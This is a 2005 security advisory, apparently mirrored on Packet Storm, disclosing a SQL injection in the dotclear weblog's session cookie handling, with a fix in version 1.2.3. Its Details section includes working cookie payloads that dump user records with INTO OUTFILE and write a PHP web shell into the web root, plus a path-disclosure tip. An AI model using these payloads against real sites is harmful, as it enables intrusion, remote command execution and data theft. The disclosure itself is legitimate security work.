what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZRCSA-200504.txt

ZRCSA-200504.txt
Posted Dec 2, 2005
Authored by Siegfried | Site zone-h.fr

dotclear version 1.2.2 and below suffer from a remote SQL injection flaw.

tags | advisory, remote, sql injection
SHA-256 | 420ac553343837f9e66b25995423fc34b88ba28115063849dfae6069552f4f03

ZRCSA-200504.txt

Change Mirror Download
Zone-H Research Center Security Advisory 200504
http://www.zone-h.fr

Date of release: 30/11/2005
Software: dotclear (http://www.dotclear.net)
Affected versions: <= 1.2.2
Risk: Medium
Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team

Background
----------
dotclear is a weblog written in PHP.
from http://www.dotclear.net/en/features.html :
-------------------------------------
"Paranoiac author ;-)"
"Extremely securised application."
-------------------------------------
that's why he didn't answer me.

Details
--------
The $ses_id variable isn't filtered before being used in SQL queries
in /inc/session.php :
[...]
function _read($ses_id)
{
$strReq = 'SELECT * FROM '.$this->table.' '.
'WHERE ses_id = \''.$ses_id.'\' ';
$rs = $this->con->select($strReq);
[...] (and other queries in the same file, with the same variable)

Since this file is used in all the pages, it can be used to perform
arbitrary SQL queries by opening a page (for example index.php) with
the following cookie:
dc_xd=siegfried'/**/UNION/**/SELECT
user_id,user_pseudo,user_nom,user_email from dc_user into outfile
"/var/www/blah"/*
or:
dc_xd=siegfried'/**/UNION/**/SELECT "<? system($_GET[blah])
?>","","","" from dc_user into outfile "/var/www/dotclear/blah.php"/*

We can gather the path of dotclear by accessing multiple files
directly in the admin area, for example /ecrire/inc/connexion.php ,
this might help to exploit the SQL injection.

Solution
---------
Update to version 1.2.3 or replace /inc/session.php with the new version:

https://www.dotclear.net/svn/branches/1.2.3-stable/inc/session.php
http://www.dotclear.net/download/dotclear-1.2.3.tar.gz

(vendor contacted on 30/11 and patch released on the same day).

Original advisories:
English version: Check Zone-H.org
French: http://www.zone-h.fr/advisories/read/id=696
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close